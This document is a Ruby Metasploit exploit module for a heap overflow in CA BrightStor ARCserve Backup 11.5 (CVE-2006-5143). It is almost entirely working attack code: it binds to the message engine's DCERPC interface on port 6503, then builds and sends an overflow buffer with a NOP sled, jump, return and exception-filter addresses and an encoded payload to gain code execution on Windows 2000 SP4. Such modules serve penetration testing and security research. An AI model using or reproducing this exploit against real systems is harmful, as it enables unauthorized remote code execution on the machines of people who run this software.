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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
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        'Description' => %q{
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          This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
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          11.5. By sending a specially crafted RPC request, an attacker could overflow the
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          buffer and execute arbitrary code.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-5143' ],
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          [ 'OSVDB', '29533' ],
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          [ 'BID', '20365' ],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
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        ],
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        'DisclosureDate' => '2006-10-05',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(6503)
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      ]
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    )
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    # straight forward heap stuffz
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    sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
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    sploit << [ target['UEF'] ].pack('V') + payload.encoded
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    print_status("Trying target #{target.name}...")
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    begin
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      dcerpc_call(43, sploit)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    end
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    handler
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    disconnect
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  end
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end
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